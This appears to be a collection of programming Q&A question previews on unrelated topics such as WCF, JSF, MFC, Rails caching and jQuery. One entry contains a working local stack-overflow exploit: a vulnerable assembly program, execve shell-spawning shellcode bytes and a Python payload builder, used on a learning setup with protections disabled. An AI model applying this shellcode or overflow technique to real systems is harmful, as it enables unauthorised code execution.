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  • TimoutException occurs over a network but not locally

    - by Gibsnag
    I have a program with three WCF services and when I run them locally (i.e: Server and Clients are all on localhost) everything works. However when I test them across a network I get a TimoutException on two services but not the other. I've disabled the firewalls on all the machines involved in the test. I can both ping the server and access the wsdl "You have created a service" webpage from the client The service that works uses a BasicHttpBinding with streaming and the two which don't work use WSDualHttpBinding. The Services that use WSDualHttpBinding both have CallbackContracts. I apologise for the vagueness of this question but I'm not really sure what code to include or where to even start looking for the solution to this. Non-working bindings: public static Binding CreateHTTPBinding() { var binding = new WSDualHttpBinding(); binding.MessageEncoding = WSMessageEncoding.Mtom; binding.MaxBufferPoolSize = 2147483647; binding.MaxReceivedMessageSize = 2147483647; binding.Security.Mode = WSDualHttpSecurityMode.None; return binding; } Exception Stack Trace: Unhandled Exception: System.TimeoutException: The open operation did not complete within the allotted timeout of 00:01:00. The time allotted to this operation may have been a portion of a longer timeout. Server stack trace: at System.ServiceModel.Channels.ReliableRequestor.ThrowTimeoutException() at System.ServiceModel.Channels.ReliableRequestor.Request(TimeSpan timeout) at System.ServiceModel.Channels.ClientReliableSession.Open(TimeSpan timeout) at System.ServiceModel.Channels.ClientReliableDuplexSessionChannel.OnOpen(TimeSpan timeout) at System.ServiceModel.Channels.CommunicationObject.Open(TimeSpan timeout) at System.ServiceModel.Channels.ServiceChannel.OnOpen(TimeSpan timeout) at System.ServiceModel.Channels.CommunicationObject.Open(TimeSpan timeout) at System.ServiceModel.Channels.ServiceChannel.CallOpenOnce.System.ServiceModel.Channels.ServiceChannel.ICallOnce.Call(ServiceChannel channel, TimeSpan timeout) at System.ServiceModel.Channels.ServiceChannel.CallOnceManager.CallOnce(TimeSpan timeout, CallOnceManager cascade) at System.ServiceModel.Channels.ServiceChannel.EnsureOpened(TimeSpan timeout) at System.ServiceModel.Channels.ServiceChannel.Call(String action, Boolean oneway, ProxyOperationRuntime operation, Object[] ins, Object[] outs, TimeSpan timeout) at System.ServiceModel.Channels.ServiceChannel.Call(String action, Boolean oneway, ProxyOperationRuntime operation, Object[] ins, Object[] outs) at System.ServiceModel.Channels.ServiceChannelProxy.InvokeService(IMethodCallMessage methodCall, ProxyOperationRuntime operation) at System.ServiceModel.Channels.ServiceChannelProxy.Invoke(IMessage message) Exception rethrown at [0]: at System.Runtime.Remoting.Proxies.RealProxy.HandleReturnMessage(IMessage reqMsg, IMessage retMsg) at System.Runtime.Remoting.Proxies.RealProxy.PrivateInvoke(MessageData& msgData, Int32 type) at IDemeService.Register() at DemeServiceClient.Register() at DemeClient.Client.Start() at DemeClient.Program.Main(String[] args)

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  • Using a4j:support 's onchange event with h:selectOneMenu

    - by user339637
    <h:selectOneMenu id="selectOneMenu" value="#{Bean1.val1}" > <f:selectItems value="#{Bean1.selectItems}"/> <a4j:support event="onchange" action="#{Bean1.onSelectOneMenuChange}" reRender="textbox1 , textbox2 , textbox3, textbox4" /> </h:selectOneMenu> <h:inputText id="textbox1" value="#{Bean1.textbox1}"> </h:inputText> <h:inputText id="textbox2" value="#{Bean1.textbox2}"> </h:inputText> <h:inputText id="textbox3" value="#{Bean1.textbox3}"> </h:inputText> <h:inputText id="textbox4" value="#{Bean1.textbox4}"> </h:inputText> Bean1.onSelectOneMenuChange() will change the value of Bean1.textbox1 , Bean1.textbox2,Bean1.textbox3 and Bean1.textbox4 depending on the value selected (Bean1.val1) .Sometimes , it will change all the textbox value and sometimes it will only changes some textbox value. When users change the value in the "selectOneMenu" drop down list control , the JSF framework will not call the update model values phase but call the Bean1.onSelectOneMenuChange() directly. After that , the all the textbox are reRender. Because the update model values phase is not called , the values entered by the user is never set the the Bean1 and the original value is shown in the textbox after reRender . So I want to ask: How can I manually call the update model values phase inside Bean1.onSelectOneMenuChange() ?How can I get the value input input by the users inside Bean1.onSelectOneMenuChange() and set it to the corresponding fields of the Bean1 ? 2.Another approach is that only reRender those textbox whose values are updated inside the Bean1.onSelectOneMenuChange() .However , there are many cases . For example , a value will change all the textbox value and a values may only change some textbox value.How can I reRender conditionally ? What method is more prefer for maintainability?

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  • How to handle One View with multiple ViewModel and fire different Commands

    - by Naresh
    Hi All, I have senario in which one view and view has binding with multiple ViewModel. Eg. One View displaying Phone Detail and ViewModel as per bellow: Phone basic features- PhoneViewModel, Phone Price Detail- PhoneSubscriptionViewModel, Phone Accessories- PhoneAccessoryViewModel For general properties- PhoneDetailViewModel I have placed View's general properties to PhoneViewModel.Now senario is like this: By default View displays Phone Basic feaures which is bind with ObservationCollection of PhoneViewModel. My view have button - 'View Accessories', onclick of this button one popup screen- in my design I have display/hide Grid and bind it with ObservationCollection of PhoneAccessoryViewModel. Now problem begins- Accessory List also have button 'View Detail' onclick I have to open one popup screen, here also I had placed one Grid and Visible/Hide it. I have bind 'ViewAccessoryDetailCommand' command to 'View Detail' button. And on command execution one function fires and set property which Visible the Popup screen. Using such programming command fires, function calls but the property change not raises and so my view does not display popup. Summary: One View-- ViewModel1--Grid Bind view ViewModel2 --Grid Have Button and Onclick display new Grid which binded with ViewModel3-this Command fires but property not raises. I think there is some problem in my methodology, Please, give your suggetions.

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  • Get error when accessing RadioButtonList from javascript that exist in a page that have master page

    - by Space Cracker
    i have a asp.net page that have its master page and it contain RadioButtonList1 and i try to do thefollwing <script type="text/javascript"> var radioButtonList = document.getElementById('<%=RadioButtonList1.ClientID%>'); if(radioButtonList[0].checked) document.getElementById("_secondTR").style.display = "block"; else if (radioButtonList[1].checked ) document.getElementById("_secondTR").style.display = "none"; } </script> <table style="width: 100%"> <tr id="Tr1"> <td> <asp:RadioButtonList ID="RadioButtonList1" runat="server" BackColor="#FFCC99" RepeatDirection="Horizontal" Width="117px" onclick="ShowHide()"> <asp:ListItem Value="1">Yes</asp:ListItem> <asp:ListItem Value="0">No</asp:ListItem> </asp:RadioButtonList> </td> </tr> <tr id="_secondTR" runat="server" style="display: none"> <td> <asp:RadioButton ID="Five" runat="server" GroupName="1" BackColor="#669999" /> <asp:RadioButton ID="Four" runat="server" GroupName="1" CausesValidation="True" BackColor="#669999" /> </td> </tr> </table> i can't get RadioButtonList1 from java script ... could any help me to get that ?

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  • Unable to fetch initial output of "defrag" commad in Windows Server 2008 R2 in WOW64 environment.

    - by Ganesh
    Hi All, [Application & code back ground] I have an MFC application which is executing on Windows Server 2008 R2 in WOW64 environment. In which on user input it defragments the selected drive on the disk. I initiated the process(.i.e. cmd /c defrag –v c:) of defragmentation using the CreateProcess() API, along with this to display output of the process on the main screen I created the pipe using CreatePipe() API. I used PeekNamedPipe() & ReadFile() API to get the output and display. [Problem Area] When the process is launched I am not getting the initial output as below: Microsoft Disk fragmenter Copyright © 2007 Microsoft Crop. Invoking defragmentation on (C:)…. I constantly monitor the output of the process while it is under progress but not able to get any thing as output in the pipe. It seem the process is not doing any thing and appears as if the application is not responding. But after certain period of time, once the process is about to completed I get result along with the initial data. [Sample code] //Pipe created if(0 == ::CreatePipe(&l_hStdOutRead, &l_hStdOutWrite, &l_SecurityAttribute, (DWORD)NULL)) { //Error code } //Process created/launched if (0 == ::CreateProcess(NULL, (LPTSTR)f_csProcessName, &l_stSecurityAttributes, NULL, TRUE, CREATE_NO_WINDOW, NULL,NULL, &l_StartupInfo, &l_CmdPI)) { //Error code } //Read output if (0 == ::PeekNamedPipe(m_hStdOutRead, l_cArrPeekBuffer, (DWORD)NULL, (LPDWORD)NULL, &l_dwAvailable, (LPDWORD)NULL)) { //Return to read again } if (MPLUSFALSE == ::ReadFile(m_hStdOutRead, l_cArrOutput, min(BUFFER_SIZE - 2, l_dwAvailable), &l_dwRead, NULL) || !l_dwRead) { //error code } //Display data. If any one is aware of similar problem or worked on the similar issue please let me know the solution. Thanks in Advance, Ganesh

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  • Understanding WordProcessingML tags and avoid unnecessary tags

    - by rithanyalaxmi
    Hi, I am using MS Word API to generate .docx which contains the data fetched from DB, in which i am applying the respective styles, fonts, symbols, etc. If the data fetched from the DB is quite huge, then there is a problem in displaying those data in the .docx file. I found that internally MS Word 2007 will write some content through tags which may not be needed to display the data. Hence i am figuring out what are the necessary MS Word tags needed when converting into a .xml file. So that i can avoid unnecessary tags and build only the respective tags which are needed to display the data. Hence i am planning to write my own .xml with the MS Word tags which are needed, than generating a .XML from .docx file My queries are:- 1) Whether it is right that the MS Word will generate some tags which may not be needed during the conversion of .docx to document.xml? That makes it heavy? If so what are the tags , so that i can avoid them when write by own .xml file. 2) Please send links to understand about the MS Word tags and its advantages, which tags are needed and which are not ? 3) Whether my approach to write a new .xml similar to document.xml (.docx conversion) is worthy one to go forward so that i can build the .xml with the tags i needed , so that i can improve the performance of the data display? Please shed some light into it and thanks in advance.. Thanks, Rithu

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  • search form in html/php via ajax

    - by fusion
    i've a search form wherein the database query has been coded in php and the html file calls this php file via ajax to display the results in the search form. the problem is, i would like the result to be displayed in the same form as search.html; yet while the ajax works, it goes to search.php to display the results. search.html: <!DOCTYPE html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <script src="scripts/search_ajax.js" type="text/javascript"></script> </head> <body> <form id="submitForm" method="post"> <div class="wrapper"> <div class="field"> <input name="search" id="search" /> </div><br /> <input id="button1" type="submit" value="Submit" class="submit" onclick="run_query();" /><br /> </div> <div id="searchContainer"> </div> </form> </body> </html> if i add action="search.php" to the form tag, it displays the result but on search.php. i'd like it to display on the same form [i.e search.html, and not search.php] if i just add the javascript function [as done above], it displays nothing on search.html

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  • PLT Scheme Memory

    - by Eric
    So I need some help with implementing a Make-memory program using Scheme. I need two messages 'write and 'read. So it would be like (mymem 'write 34 -116) and (mymem 'read 99) right? and (define mymem (make-memory 100)).....How would I implement this in scheme? using an Alist???I need some help coding it. I have this code which makes make-memory a procedure and when you run mymem you get ((99.0)) and what i need to do is recur this so i get an alist with dotted pairs to ((0.0)). So any suggestions on how to code this?? Does anyone have any ideas what I could do to recur and make messages Write and read?? (define make-memory (lambda (n) (letrec ((mem '()) (dump (display mem))) (lambda () (if (= n 0) (cons (cons n 0) mem) mem) (cons (cons (- n 1) 0) mem)) (lambda (msg loc val) (cond ((equal? msg 'read) (display (cons n val))(set! n (- n 1))) ((equal? msg 'write) (set! mem (cons val loc)) (set! n (- n 1)) (display mem))))))) (define mymem (make-memory 100)) Yes this is an assignment but I wrote this code. I just need some help or direction. And yes I do know about variable-length argument lists.

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  • [jQuery] Trouble loading tooltips on all images displayed inside Colorbox

    - by adaneko
    I would like to load a tooltip plugin (I'm currently trying qTip, but I've tried a few and have run into the same problem each time) inside Colorbox (http://colorpowered.com/colorbox/). Colorbox dynamically loads this code to display the images you want to show in it: <div id="cboxLoadedContent" style="display: block; width: 400px; overflow: auto; height: 498px;"> <img src="image.jpg" id="cboxPhoto" style="margin: 49px auto auto; border: medium none; display: block; float: none; cursor: pointer;"> </div> Using Colorbox's event hooks, I am currently calling my tooltip plugin on onComplete, but this only applies the tooltip to the first image in the group. If you go to the next image, the tooltip needs to be recalled as Colorbox regenerates the code displayed above. What is the best way to recall the tooltip plugin? I have tried to recall the tooltip by attaching it to clicking on the div with the id "cboxNext" as a test, but it doesn't work since it takes time for cboxPhoto to load, so I think the functions generating the tooltip load before they can apply to the image.

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  • Parallel WCF calls to multiple servers

    - by gregmac
    I have a WCF service (the same one) running on multiple servers, and I'd like to call all instances in parallel from a single client. I'm using ChannelFactory and the interface (contract) to call the service. Each service has a local <endpoint> client defined in the .config file. What I'm trying to do is build some kind of generic framework to avoid code duplication. For example a synchronous call in a single thread looks something like this: Dim remoteName As String = "endpointName1" Dim svcProxy As ChannelFactory(Of IMyService) = New ChannelFactory(Of IMyService)(remoteName) Try svcProxy.Open() Dim svc As IMyService = svcProxy.CreateChannel() nodeResult = svc.TestRemote("foo") Finally svcProxy.Close() End Try The part I'm having difficulty with is how to specify and actually invoke the actual remote method (eg "TestRemote") without having to duplicate the above code, and all the thread-related stuff that invokes that, for each method. In the end, I'd like to be able to write code along the lines of (consider this psuedo code): Dim results as Dictionary(Of Node, ExpectedReturnType) results = ParallelInvoke(IMyService.SomeMethod, parameter1, parameter2) where ParallelInvoke() will take the method as an argument, as well as the parameters (paramArray or object() .. whatever) and then go run the request on each remote node, block until they all return an answer or timeout, and then return the results into a Dictionary with the key as the node, and the value as whatever value it returned. I can then (depending on the method) pick out the single value I need, or aggregate all the values from each server together, etc. I'm pretty sure I can do this using reflection and InvokeMember(), but that requires passing the method as a string (which can lead to errors like calling a non-existing method that can't be caught at compile time), so I'd like to see if there is a cleaner way to do this. Thanks

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  • [MFC] I can't re-parent a window

    - by John
    Following on from this question, now I have a clearer picture what's going on... I have a MFC application with no main window, which exposes an API to create dialogs. When I call some of these methods repeatedly, the dialogs created are parented to each other instead of all being parented to the desktop... I have no idea why. But anyway even after creation, I am unable to change the parent back to NULL or CWnd::GetDesktopWindow()... if I call SetParent followed by GetParent, nothing has changed. So apart from the really weird question of why Windows is magically parenting each dialog to the last one created, is there anything I'm missing to be able to set these windows as children of the desktop? UPDATED: I have found the reason for all this, but not the solution. From my dialog constructor, we end up in: BOOL CDialog::CreateIndirect(LPCDLGTEMPLATE lpDialogTemplate, CWnd* pParentWnd, void* lpDialogInit, HINSTANCE hInst) { ASSERT(lpDialogTemplate != NULL); if (pParentWnd == NULL) pParentWnd = AfxGetMainWnd(); m_lpDialogInit = lpDialogInit; return CreateDlgIndirect(lpDialogTemplate, pParentWnd, hInst); } Note: if (pParentWnd == NULL)pParentWnd = AfxGetMainWnd(); The call-stack from my dialog constructor looks like this: mfc80d.dll!CDialog::CreateIndirect(const DLGTEMPLATE * lpDialogTemplate=0x005931a8, CWnd * pParentWnd=0x00000000, void * lpDialogInit=0x00000000, HINSTANCE__ * hInst=0x00400000) mfc80d.dll!CDialog::CreateIndirect(void * hDialogTemplate=0x005931a8, CWnd * pParentWnd=0x00000000, HINSTANCE__ * hInst=0x00400000) mfc80d.dll!CDialog::Create(const char * lpszTemplateName=0x0000009d, CWnd * pParentWnd=0x00000000) mfc80d.dll!CDialog::Create(unsigned int nIDTemplate=157, CWnd * pParentWnd=0x00000000) MyApp.exe!CMyDlg::CMyDlg(CWnd * pParent=0x00000000)

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  • When does a PHP <5.3.0 daemon script receive signals?

    - by MidnightLightning
    I've got a PHP script in the works that is a job worker; its main task is to check a database table for new jobs, and if there are any, to act on them. But jobs will be coming in in bursts, with long gaps in between, so I devised a sleep cycle like: while(true) { if ($jobs = get_new_jobs()) { // Act upon the jobs } else { // No new jobs now sleep(30); } } Good, but in some cases that means there might be a 30 second lag before a new job is acted upon. Since this is a daemon script, I figured I'd try the pcntl_signal hook to catch a SIGUSR1 signal to nudge the script to wake up, like: $_isAwake = true; function user_sig($signo) { global $_isAwake; daemon_log("Caught SIGUSR1"); $_isAwake = true; } pcntl_signal(SIGUSR1, 'user_sig'); while(true) { if ($jobs = get_new_jobs()) { // Act upon the jobs } else { // No new jobs now daemon_log("No new jobs, sleeping..."); $_isAwake = false; $ts = time(); while(time() < $ts+30) { sleep(1); if ($_isAwake) break; // Did a signal happen while we were sleeping? If so, stop sleeping } $_isAwake = true; } } I broke the sleep(30) up into smaller sleep bits, in case a signal doesn't interrupt a sleep() command, thinking that this would cause at most a one-second delay, but in the log file, I'm seeing that the SIGUSR1 isn't being caught until after the full 30 seconds has passed (and maybe the outer while loop resets). I found the pcntl_signal_dispatch command, but that's only for PHP 5.3 and higher. If I were using that version, I could stick a call to that command before the if ($_isAwake) call, but as it currently stands I'm on 5.2.13. On what sort of situations is the signals queue interpreted in PHP versions without the means to explicitly call the queue parsing? Could I put in some other useless command in that sleep loop that would trigger a signal queue parse within there?

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  • How to avoid XCode framework weak-linking problems?

    - by Frank R.
    Hi, I'm building an application that takes advantage of Mac OS X 10.6-only technologies, but without giving up backwards compatibility to 10.5 Leopard. The way I do this is by setting the 10.6 SDK as the base SDK, weak-linking all frameworks and setting the deployment target to 10.5 as described in: http://developer.apple.com/mac/library/DOCUMENTATION/MacOSX/Conceptual/BPFrameworks/Concepts/WeakLinking.html This works fine; before making a call that is Snow Leopard-only I need to check that the selector or indeed the class actually exist. Or I can just check the OS version before making the call. The problem is that this is incredibly fragile. If I make a single call that is 10.6 only I blow Leopard-compatibility. So using even the normal code code completion feature can be dangerous. My question: is there any way of checking which calls are not defined on 10.5 before doing a release build? Some kind of static analysis, or even just a trick (a target set the other SDK?) would do. I obviously should test on a Leopard machine before releasing anything, but even so I can't possibly go through all paths of the program before every release. Any advice would be appreciated. Best regards, Frank

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  • Horizontal menu vertical padding on anchor tag doesn't take affect

    - by Levi
    I am wondering why in the following example the top and bottom padding has no affect on the anchor tag while the left and right does? <ul id="nav"> <li><a href="#">One</a></li> <li><a href="#">Two</a></li> <li><a href="#">Three</a></li> <li><a href="#">Four</a></li> <li><a href="#">Five</a></li> </ul> #nav{ list-style:none; } #nav li{ border:1px solid #666; display:inline; /*If you do it this way you need to set the top and bottom padding to be the same here as under #nav li a padding:8px 0; */ } #nav li a{ padding:8px 16px; } Example: Link So my main question is, why does the top and bottom padding not have an effect on the list items while the left and right do? I did try this out with a float instead of a display:inline on the list item and it worked as I expected it to. So I guess if I had a secondary question it would be what is the difference between a float:left; and a display:inline? I was reading the float spec and it sounds like a float is still a box online inline so somewhat like inline-block? I appreciate any input, this isn't really something I need to know to finish a project or anything, but I would like to know why. Thanks Levi

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  • How to implement iPhone TitleBar in Android

    - by edwar12345
    You know in iPhone, The four components of a typical iPhone application are a title bar, a navigation list, a destination page, and a button bar. for The Title Bar The title bar includes the following elements: Back button: Screen title: Command button: My question comes, although i can use UI framework tool, such as: Phonegap, iui, jtquery to develop web app, but i can't display the TitleBar effect in Android, i can't use below code in Android: meta content="yes" name="apple-mobile-web-app-capable" Actually, the above can work in Apple Safari Browser, but I can't use Safari to display our Android Project, which is i don't want to see. Does anyone know how to fulfill this effect in Android, please help me, your help will be great appreciated. to "It's unclear if you developing a native android application or a webapp. – alexanderblom yesterday" sorry that i forget to mention, i want to develop a iphone-webapp-style application in Android. Since it's too difficult, i want to use iWebkit, but it seems only work in apple iPhone OS or Safari which contain the specific engine to display the beautiful layout, like below:( -_-! i am new so i can't post images here) http://images.appshopper.com/screenshots/305/690205_2.jpg

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  • Consume webservice from a .NET DLL - app.config problem

    - by Asaf R
    Hi, I'm building a DLL, let's call it mydll.dll, and in it I sometimes need to call methods from webservice, myservice. mydll.dll is built using C# and .NET 3.5. To consume myservice from mydll I've Added A Service in Visual Studio 2008, which is more or less the same as using svcutil.exe. Doing so creates a class I can create, and adds endpoint and bindings configurations to mydll app.config. The problem here is that mydll app.config is never loaded. Instead, what's loaded is the app.config or web.config of the program I use mydll in. I expect mydll to evolve, which is why I've decoupled it's funcionality from the rest of my system to begin with. During that evolution it will likely add more webservice to which it'll call, ruling out manual copy-paste ways to overcome this problem. I've looked at several possible approaches to attacking this issue: Manually copy endpoints and bindings from mydell app.config to target EXE or web .config file. Couples the modules, not flexible Include endpoints and bindings from mydll app.config in target .config, using configSource (see here). Also add coupling between modules Programmatically load mydll app.config, read endpoints and bindings, and instantiate Binding and EndpointAddress. Use a different tool to create local frontend for myservice I'm not sure which way to go. Option 3 sounds promising, but as it turns out it's a lot of work and will probably introduce several bugs, so it doubtfully pays off. I'm also not familiar with any tool other than the canonical svcutil.exe. Please either give pros and cons for the above alternative, provide tips for implementing any of them, or suggest other approaches. Thanks, Asaf

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  • Show models.ManyToManyField as inline, with the same form as models.ForeignKey inline

    - by Kristian
    I have a model similar to the following (simplified): models.py class Sample(models.Model): name=models.CharField(max_length=200) class Action(models.Model): samples=models.ManyToManyField(Sample) title=models.CharField(max_length=200) description=models.TextField() Now, if Action.samples would have been a ForeignKey instead of a ManyToManyField, when I display Action as a TabularInline in Sample in the Django Admin, I would get a number of rows, each containing a nice form to edit or add another Action. However; when I display the above as an inline using the following: class ActionInline(admin.TabularInline): model=Action.samples.through I get a select box listing all available actions, and not a nifty form to create a new Action. My question is really: How do I display the ManyToMany relation as an inline with a form to input information as described? In principle it should be possible since, from the Sample's point of view, the situation is identical in both cases; Each Sample has a list of Actions regardless if the relation is a ForeignKey or a ManyToManyRelation. Also; Through the Sample admin page, I never want to choose from existing Actions, only create new or edit old ones.

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  • JNI problem when calling a native library that loads another native library

    - by TheEnemyOfQuality
    I've got a bit of an odd problem. I have a project in C++ that's basically a wrapper for a third party DLL like this: MyLibrary --loads DLL_A ----loads DLL_B I load DLL_A with LoadLibrary(), wrap several of its functions and generate my own DLL. I've tested this in a C++ project and a C# project. Both do everything they're supposed to do: load DLL_A, make a couple of function calls, and indirectly load DLL_B. The problem is when I build a DLL for java and make the calls through JNI. Everything runs like it should (no java.lang.UnsatisfiedLinkError), but when it comes time for DLL_A to load DLL_B it doesn't work. From debugging, the loading of DLL_B happens on a function call in DLL_A that takes a callback. When called from Java, this function call seems to fail (the function pointer is fine and the actual call goes off without a hitch), and I get an odd pop-up window saying DLL_B failed to load, and my program is left waiting for a callback that never happens. I can explicitly load DLL_B just fine (both from Java and from C++) and I've checked every possible path, path variable, and tried placing the dlls everywhere to see if it could be looking somewhere funny. I'm pretty sure it's not a path problem. Ultimately I don't know how DLL_A is loading DLL_B and I can't figure out why everything works fine in C++ and C#, but not in Java. I'm absolutely flummoxed. It could still be something specific to my setup (although I've looked as hard as I can look), but I'm throwing this scenario out there to see if anyone has run into a similar problem. -Dave

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  • Custom code access permissions

    - by jaklucky
    Hi all, We have a server written in C# (Framework 3.5 SP1). Customers write client applications using our server API. Recently, we created several levels of license schemes like Basic, Intermediate and All. If you have Basic license then you can call few methods on our API. Similiarly if you have Intermediate you get some extra methods to call and if you have All then you can call all the methods. When server starts it gets the license type. Now in each method I have to check the type of license and decide whether to proceed further with the fucntion or return. For example, a method "InterMediateMethod()" can only be used by Intermediate License and All license. So I have to something like this. public void InterMediateMethod() { if(licenseType == "Basic") { throw new Exception("Access denined"); } } It looks like to me that it is very lame approach. Is there any better way to do this? Is there any declarative way to do this by defining some custom attributes? I looked at creating a custom "CodeAccessSecurityAttribute" but did not get a good success. Thank you, Suresh

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  • Rails - difference between config.cache_store and config.action_controller.cache_store?

    - by gsmendoza
    If I set this in my environment config.action_controller.cache_store = :mem_cache_store ActionController::Base.cache_store will use a memcached store but Rails.cache will use a memory store instead: $ ./script/console >> ActionController::Base.cache_store => #<ActiveSupport::Cache::MemCacheStore:0xb6eb4bbc @data=<MemCache: 1 servers, ns: nil, ro: false>> >> Rails.cache => #<ActiveSupport::Cache::MemoryStore:0xb78b5e54 @data={}> In my app, I use Rails.cache.fetch(key){ object } to cache objects inside my helpers. All this time, I assumed that Rails.cache uses the memcached store so I'm surprised that it uses memory store. If I change the cache_store setting in my environment to config.cache_store = :mem_cache_store both ActionController::Base.cache_store and Rails.cache will now use the same memory store, which is what I expect: $ ./script/console >> ActionController::Base.cache_store => #<ActiveSupport::Cache::MemCacheStore:0xb7b8e928 @data=<MemCache: 1 servers, ns: nil, ro: false>, @middleware=#<Class:0xb7b73d44>, @thread_local_key=:active_support_cache_mem_cache_store_local_cache> >> Rails.cache => #<ActiveSupport::Cache::MemCacheStore:0xb7b8e928 @data=<MemCache: 1 servers, ns: nil, ro: false>, @middleware=#<Class:0xb7b73d44>, @thread_local_key=:active_support_cache_mem_cache_store_local_cache> However, when I run the app, I get a "marshal dump" error in the line where I call Rails.cache.fetch(key){ object } no marshal_dump is defined for class Proc Extracted source (around line #1): 1: Rails.cache.fetch(fragment_cache_key(...), :expires_in => 15.minutes) { ... } vendor/gems/memcache-client-1.8.1/lib/memcache.rb:359:in 'dump' vendor/gems/memcache-client-1.8.1/lib/memcache.rb:359:in 'set_without_newrelic_trace' What gives? Is Rails.cache meant to be a memory store? Should I call controller.cache_store.fetch in the places where I call Rails.cache.fetch?

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  • ASP MVC Ajax Controller pattern?

    - by Kevin Won
    My MVC app tends to have a lot of ajax calls (via JQuery.get()). It's sort of bugging me that my controller is littered with many tiny methods that get called via ajax. It seems to me to be sort of breaking the MVC pattern a bit--the controller is now being more of a data access component then a URI router. I refactored so that I have my 'true' controller for a page just performing standard routing responses (returing ActionResponse objects). So a call to /home/ will obviously kick up the HomeController class that will respond in the canonical controller fashion by returning a plain-jane View. I then moved my ajax stuff into a new controller class whose name I'm prefacing with 'Ajax'. So, for example, my page might have three different sections of functionality (say shopping cart or user account). I have an ajax controller for each of these (AjaxCartController, AjaxAccountController). There is really nothing different about moving the ajax call stuff into its own class--it's just to keep things cleaner. on client side obviously the JQuery would then use this new controller thusly: //jquery pseudocode call to specific controller that just handles ajax calls $.get('AjaxAccount/Details'.... (1) is there a better pattern in MVC for responding to ajax calls? (2) It seems to me that the MVC model is a bit leaky when it comes to ajax--it's not really 'controlling' stuff. It just happens to be the best and least painful way of handling ajax calls (or am I ignorant)? In other words, the 'Controller' abstraction doesn't seem to play nice with Ajax (at least from a patterns perspective). Is there something I'm missing?

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  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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  • Python class variables not defined with called from outside module

    - by Jimmy
    I am having some issues with calling a function outside of a module. The scenario is I have a small class library that is using turtle to do some drawing, the function within the module calls the classes also within the module and draws things, etc. This all works fine and dandy when I call the function from within the same file, but if I have another file and call myLib.scene() I get variable undefined errors. Code examples: a class class Rectangle(object): def __init__(self, pen, height=100, width=100, fillcolor=''): self.pen = pen self.height = height self.width = width self.fillcolor = fillcolor def draw(self, x, y): '''draws the rectangle at coordinates x and y''' self.pen.goto(x, y) if self.fillcolor: self.pen.fillcolor(self.fillcolor) self.pen.fill(True) self.pen.down() for i in range(0,4): self.pen.forward(self.height if i%2 else self.width) self.pen.left(90) and the calling function is this def scene(pen): rect = Rectangle(pen) rect.draw(100,100) when I put the line scene(turtle.Turtle()) into the same file I have no issues, the rectangle is drawn and everyone goes home happy. However, if I try to call it from a separate python file like so: myLib.scene(turtle.Turtle()) I get an error: NameError: global name 'pen' is not defined, in the for loop of my draw method. Even if the line above is in the same file it still bombs out. What is going on?

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  • JavaScript - Building JSON object

    - by user208662
    Hello, I'm trying to understand how to build a JSON object in JavaScript. This JSON object will get passed to a JQuery ajax call. Currently, I'm hard-coding my JSON and making my JQuery call as shown here: $.ajax({ url: "/services/myService.svc/PostComment", type: "POST", contentType: "application/json; charset=utf-8", data: '{"comments":"test","priority":"1"}', dataType: "json", success: function (res) { alert("Thank you!"); }, error: function (req, msg, obj) { alert("There was an error"); } }); This approach works. But, I need to dynamically build my JSON and pass it onto the JQuery call. However, I cannot figure out how to dynamically build the JSON object. Currently, I'm trying the following without any luck: var comments = $("#commentText").val(); var priority = $("#priority").val(); var json = { "comments":comments,"priority":priority }; $.ajax({ url: "/services/myService.svc/PostComment", type: "POST", contentType: "application/json; charset=utf-8", data: json, dataType: "json", success: function (res) { alert("Thank you!"); }, error: function (req, msg, obj) { alert("There was an error"); } }); Can someone please tell me what I am doing wrong? I noticed that with the second version, my service is not even getting reached. Thank you

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  • What should be the responsibility of a presenter here?

    - by Achu
    I have a 3 layer design. (UI / BLL / DAL) UI = ASP.NET MVC In my view I have collection of products for a category. Example: Product 1, Product 2 etc.. A user able to select or remove (by selecting check box) product’s from the view, finally save as a collection when user submit these changes. With this 3 layer design how this product collection will be saved? How the filtering of products (removal and addition) to the category object? Here are my options. (A) It is the responsibility of the controller then the pseudo Code would be Find products that the user selected or removed and compare with existing records. Add or delete that collection to category object. Call SaveCategory(category); // BLL CALL Here the first 2 process steps occurs in the controller. (B) It is the responsibility of BLL then pseudo Code would be Collect products what ever user selected SaveCategory(category, products); // BLL CALL Here it's up to the SaveCategory (BLL) to decide what products should be removed and added to the database. Thanks

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